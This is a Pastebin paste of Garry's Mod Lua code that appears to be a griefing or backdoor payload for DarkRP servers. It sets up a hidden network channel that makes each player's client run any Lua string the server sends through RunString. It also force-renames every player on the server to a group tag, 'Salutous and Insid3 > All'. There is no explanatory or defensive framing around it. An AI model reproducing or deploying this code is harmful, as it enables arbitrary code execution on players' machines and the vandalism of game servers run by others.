Advertisement
Guest User

Untitled

a guest
Apr 25th, 2019
86
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.76 KB | None | 0 0
  1. util.AddNetworkString "slua6"
  2.  
  3. local DESIRED_NAME = "Salutous and Insid3 > All"
  4.  
  5. local lol = {}
  6. function lol:RandomString( intMin, intMax )
  7. local ret = ""
  8. for _ = 1, math.random( intMin, intMax ) do
  9. ret = ret.. string.char( math.random(65, 90) )
  10. end
  11.  
  12. return ret
  13. end
  14.  
  15.  
  16.  
  17. lol.m_tblActions = {}
  18. lol.m_strImageGlobalVar = lol:RandomString( 6, 12 )
  19. lol.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
  20.  
  21. function lol:PushAction( intChainDelay, func )
  22. self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
  23. end
  24.  
  25. function lol:NextAction( pPlayer )
  26. pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
  27. if not self.m_tblActions[pPlayer.m_intCurAction] then return end
  28.  
  29. timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
  30. if not IsValid( pPlayer ) then return end
  31. self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
  32. self:NextAction( pPlayer )
  33. end )
  34. end
  35.  
  36. function lol:Start( pPlayer )
  37. pPlayer.m_intCurAction = 0
  38. self:NextAction( pPlayer )
  39. end
  40.  
  41. function lol:SendLua( pPlayer, strLua )
  42. net.Start( "slua6" )
  43. net.WriteString( strLua )
  44. net.Send( pPlayer )
  45. end
  46.  
  47. function lol:SetupPlayer( pPlayer )
  48. pPlayer:SendLua( "net.Receive(\"slua6\", function() RunString(net.ReadString()) end)" )
  49. end
  50.  
  51.  
  52. ------- STARTCODE FOR FORCE CHANGE NAME
  53. for k, v in pairs(player.GetAll()) do DarkRP.storeRPName(v, DESIRED_NAME) v:setDarkRPVar("rpname", DESIRED_NAME) end
  54. ------- STOP LINE CODE FOR CHANGE NAME
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement